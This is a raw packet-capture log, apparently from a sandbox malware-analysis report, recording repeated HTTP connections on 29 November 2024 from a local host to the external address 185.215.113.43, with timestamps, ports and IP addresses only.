Nov 29, 2024 20:05:02.276720047 CET	80	49755	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:02.276993036 CET	49755	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:03.914958954 CET	49755	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:03.915261984 CET	49761	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:04.035356998 CET	80	49761	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:04.035414934 CET	80	49755	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:04.035474062 CET	49761	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:04.035511971 CET	49755	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:04.035716057 CET	49761	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:04.155672073 CET	80	49761	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:05.429966927 CET	80	49761	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:05.430038929 CET	49761	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:06.942528963 CET	49761	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:06.942872047 CET	49767	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:07.063384056 CET	80	49767	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:07.063426971 CET	80	49761	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:07.063512087 CET	49761	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:07.063528061 CET	49767	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:07.075650930 CET	49767	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:07.195759058 CET	80	49767	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:08.448652029 CET	80	49767	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:08.448740959 CET	49767	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:10.083180904 CET	49767	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:10.084125996 CET	49773	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:10.203577995 CET	80	49767	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:10.204015970 CET	80	49773	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:10.204480886 CET	49767	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:10.204500914 CET	49773	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:10.204961061 CET	49773	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:10.325037003 CET	80	49773	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:11.600265026 CET	80	49773	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:11.600370884 CET	49773	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:13.113642931 CET	49773	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:13.114006042 CET	49784	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:13.234006882 CET	80	49784	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:13.234030962 CET	80	49773	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:13.234085083 CET	49784	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:13.234119892 CET	49773	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:13.234343052 CET	49784	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:13.354285002 CET	80	49784	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:14.628067017 CET	80	49784	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:14.628118992 CET	49784	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:16.254523993 CET	49784	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:16.254795074 CET	49790	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:16.377093077 CET	80	49790	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:16.377211094 CET	80	49784	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:16.377278090 CET	49790	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:16.377291918 CET	49784	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:17.785655975 CET	49796	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:17.905704021 CET	80	49796	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:17.905870914 CET	49796	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:17.906121016 CET	49796	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:18.026010036 CET	80	49796	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:19.404463053 CET	80	49796	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:19.404510021 CET	49796	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:21.035778046 CET	49796	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:21.036096096 CET	49802	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:21.156718969 CET	80	49802	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:21.156784058 CET	80	49796	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:21.156793118 CET	49802	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:21.156831026 CET	49796	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:21.157061100 CET	49802	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:21.276878119 CET	80	49802	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:22.557954073 CET	80	49802	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:22.558104992 CET	49802	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:24.067630053 CET	49802	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:24.068164110 CET	49813	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:24.187958002 CET	80	49802	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:24.188016891 CET	49802	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:24.188093901 CET	80	49813	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:24.188277960 CET	49813	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:24.188677073 CET	49813	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:24.312639952 CET	80	49813	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:25.580399990 CET	80	49813	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:25.580529928 CET	49813	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:27.207869053 CET	49813	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:27.208239079 CET	49819	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:27.328166962 CET	80	49819	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:27.328191042 CET	80	49813	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:27.328223944 CET	49819	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:27.328262091 CET	49813	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:27.328672886 CET	49819	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:27.448565006 CET	80	49819	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:28.714970112 CET	80	49819	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:28.715145111 CET	49819	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:30.222877979 CET	49819	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:30.223170996 CET	49825	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:30.344127893 CET	80	49825	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:30.344203949 CET	49825	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:30.344351053 CET	80	49819	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:30.344419956 CET	49819	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:30.344547033 CET	49825	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:30.465053082 CET	80	49825	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:31.686471939 CET	80	49825	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:31.686650038 CET	49825	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:33.316513062 CET	49825	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:33.316855907 CET	49836	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:33.437808990 CET	80	49825	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:33.437827110 CET	80	49836	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:33.437886953 CET	49825	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:33.437921047 CET	49836	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:33.438340902 CET	49836	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:33.559885979 CET	80	49836	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:34.817929029 CET	80	49836	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:34.818196058 CET	49836	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:36.337430000 CET	49836	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:36.337754011 CET	49841	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:36.458877087 CET	80	49841	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:36.458966970 CET	80	49836	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:36.459048033 CET	49836	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:36.459105015 CET	49841	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:36.459415913 CET	49841	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:36.579279900 CET	80	49841	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:37.843031883 CET	80	49841	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:37.843164921 CET	49841	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:39.473253012 CET	49841	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:39.473577976 CET	49847	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:39.593532085 CET	80	49847	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:39.593545914 CET	80	49841	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:39.593611956 CET	49841	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:39.593624115 CET	49847	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:39.593846083 CET	49847	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:39.714327097 CET	80	49847	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:40.989459991 CET	80	49847	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:40.989698887 CET	49847	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:42.512501955 CET	49847	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:42.512761116 CET	49856	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:42.634252071 CET	80	49856	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:42.634296894 CET	80	49847	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:42.634329081 CET	49856	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:42.634347916 CET	49847	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:42.634613037 CET	49856	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:42.754487991 CET	80	49856	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:44.067329884 CET	80	49856	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:44.067476034 CET	49856	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:45.726906061 CET	49856	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:45.727770090 CET	49863	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:45.847388029 CET	80	49856	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:45.847747087 CET	80	49863	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:45.847799063 CET	49856	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:45.847827911 CET	49863	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:45.871233940 CET	49863	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:45.991336107 CET	80	49863	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:47.237812042 CET	80	49863	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:47.237870932 CET	49863	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:48.921137094 CET	49863	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:48.921497107 CET	49869	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:49.041467905 CET	80	49869	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:49.041522980 CET	80	49863	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:49.041659117 CET	49863	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:49.041660070 CET	49869	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:49.056114912 CET	49869	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:49.177069902 CET	80	49869	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:50.476001978 CET	80	49869	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:50.476105928 CET	49869	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:52.100317955 CET	49869	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:52.100318909 CET	49875	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:52.220477104 CET	80	49875	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:52.224466085 CET	49875	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:52.225891113 CET	80	49869	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:52.225929022 CET	49875	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:52.226006985 CET	49869	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:52.346172094 CET	80	49875	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:52.926306963 CET	49875	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:54.443732977 CET	49881	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:54.563684940 CET	80	49881	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:54.566409111 CET	49881	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:54.570298910 CET	49881	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:54.690402031 CET	80	49881	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:56.011964083 CET	80	49881	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:56.012008905 CET	49881	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:57.673477888 CET	49881	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:57.674000025 CET	49888	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:57.793844938 CET	80	49881	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:57.793894053 CET	49881	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:57.793955088 CET	80	49888	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:57.794013023 CET	49888	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:57.827334881 CET	49888	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:05:57.948111057 CET	80	49888	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:59.173651934 CET	80	49888	185.215.113.43	192.168.2.4
Nov 29, 2024 20:05:59.173702955 CET	49888	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:00.691775084 CET	49897	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:00.691791058 CET	49888	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:00.811708927 CET	80	49897	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:00.811832905 CET	49897	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:00.812028885 CET	49897	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:00.812144041 CET	80	49888	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:00.812237024 CET	49888	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:00.932044029 CET	80	49897	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:02.162616968 CET	80	49897	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:02.170305967 CET	49897	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:03.787398100 CET	49897	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:03.787708998 CET	49904	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:03.907589912 CET	80	49904	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:03.907670021 CET	49904	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:03.907681942 CET	80	49897	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:03.907752037 CET	49897	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:03.908236027 CET	49904	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:04.028137922 CET	80	49904	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:05.264944077 CET	80	49904	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:05.264997005 CET	49904	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:06.769340038 CET	49904	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:06.769494057 CET	49911	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:06.889436960 CET	80	49911	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:06.889537096 CET	49911	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:06.889565945 CET	80	49904	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:06.889668941 CET	49904	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:06.894304991 CET	49911	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:07.014285088 CET	80	49911	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:08.283004999 CET	80	49911	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:08.288356066 CET	49911	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:09.910738945 CET	49911	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:09.911107063 CET	49920	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:10.031083107 CET	80	49920	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:10.031150103 CET	49920	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:10.031233072 CET	80	49911	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:10.031279087 CET	49911	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:10.031481028 CET	49920	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:10.151406050 CET	80	49920	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:11.417792082 CET	80	49920	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:11.417843103 CET	49920	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:12.926337004 CET	49920	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:12.926340103 CET	49927	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:13.046437979 CET	80	49927	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:13.046793938 CET	80	49920	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:13.050414085 CET	49920	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:13.050415993 CET	49927	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:13.054321051 CET	49927	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:13.174305916 CET	80	49927	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:14.445947886 CET	80	49927	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:14.446235895 CET	49927	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:16.082566977 CET	49927	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:16.082912922 CET	49936	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:16.202935934 CET	80	49936	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:16.203191042 CET	80	49927	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:16.206398964 CET	49927	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:16.206415892 CET	49936	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:16.210306883 CET	49936	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:16.330334902 CET	80	49936	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:17.631123066 CET	80	49936	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:17.631181002 CET	49936	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:19.192661047 CET	49936	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:19.193078041 CET	49943	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:19.313014984 CET	80	49936	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:19.313060999 CET	49936	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:19.313075066 CET	80	49943	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:19.313144922 CET	49943	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:19.313404083 CET	49943	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:19.433361053 CET	80	49943	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:20.661566973 CET	80	49943	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:20.662391901 CET	49943	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:22.285252094 CET	49943	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:22.285264015 CET	49950	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:22.405275106 CET	80	49950	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:22.405607939 CET	80	49943	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:22.406426907 CET	49943	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:22.406438112 CET	49950	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:22.410317898 CET	49950	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:22.530366898 CET	80	49950	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:23.737821102 CET	80	49950	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:23.737879992 CET	49950	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:25.255140066 CET	49950	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:25.255501032 CET	49958	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:25.375529051 CET	80	49958	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:25.375593901 CET	49958	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:25.375644922 CET	80	49950	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:25.375699043 CET	49950	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:25.375991106 CET	49958	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:25.496040106 CET	80	49958	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:26.815258026 CET	80	49958	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:26.817395926 CET	49958	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:28.441776037 CET	49958	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:28.441788912 CET	49966	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:28.562395096 CET	80	49966	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:28.562576056 CET	49966	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:28.562736988 CET	80	49958	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:28.562911987 CET	49966	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:28.563069105 CET	49958	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:28.685642958 CET	80	49966	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:29.948574066 CET	80	49966	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:29.948638916 CET	49966	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:31.457978010 CET	49966	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:31.458324909 CET	49972	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:31.579601049 CET	80	49972	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:31.579658985 CET	49972	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:31.579729080 CET	80	49966	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:31.579778910 CET	49966	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:31.579967976 CET	49972	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:31.699949980 CET	80	49972	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:33.012403011 CET	80	49972	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:33.012523890 CET	49972	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:34.644448996 CET	49972	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:34.645293951 CET	49981	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:34.764826059 CET	80	49972	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:34.765086889 CET	49972	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:34.765177011 CET	80	49981	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:34.765285015 CET	49981	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:34.765495062 CET	49981	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:34.885494947 CET	80	49981	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:36.144484997 CET	80	49981	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:36.144537926 CET	49981	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:36.846311092 CET	49981	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:36.966784000 CET	80	49981	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:36.966962099 CET	49981	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:37.661977053 CET	49989	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:37.782347918 CET	80	49989	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:37.782418966 CET	49989	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:37.784779072 CET	49989	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:37.904825926 CET	80	49989	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:39.131372929 CET	80	49989	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:39.134402037 CET	49989	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:40.756006956 CET	49989	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:40.756021976 CET	49996	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:40.876106977 CET	80	49996	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:40.876231909 CET	49996	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:40.876380920 CET	80	49989	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:40.879148006 CET	49996	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:40.879206896 CET	49989	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:40.999191999 CET	80	49996	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:42.317635059 CET	80	49996	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:42.322313070 CET	49996	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:43.833127975 CET	49996	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:43.833523035 CET	50004	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:43.954678059 CET	80	50004	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:43.954690933 CET	80	49996	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:43.954741001 CET	50004	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:43.954768896 CET	49996	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:43.956376076 CET	50004	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:44.076715946 CET	80	50004	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:45.406469107 CET	80	50004	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:45.406519890 CET	50004	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:47.035154104 CET	50004	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:47.038312912 CET	50012	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:47.155390978 CET	80	50004	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:47.158302069 CET	80	50012	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:47.158327103 CET	50004	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:47.162555933 CET	50012	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:47.162555933 CET	50012	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:47.282614946 CET	80	50012	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:48.597922087 CET	80	50012	185.215.113.43	192.168.2.4
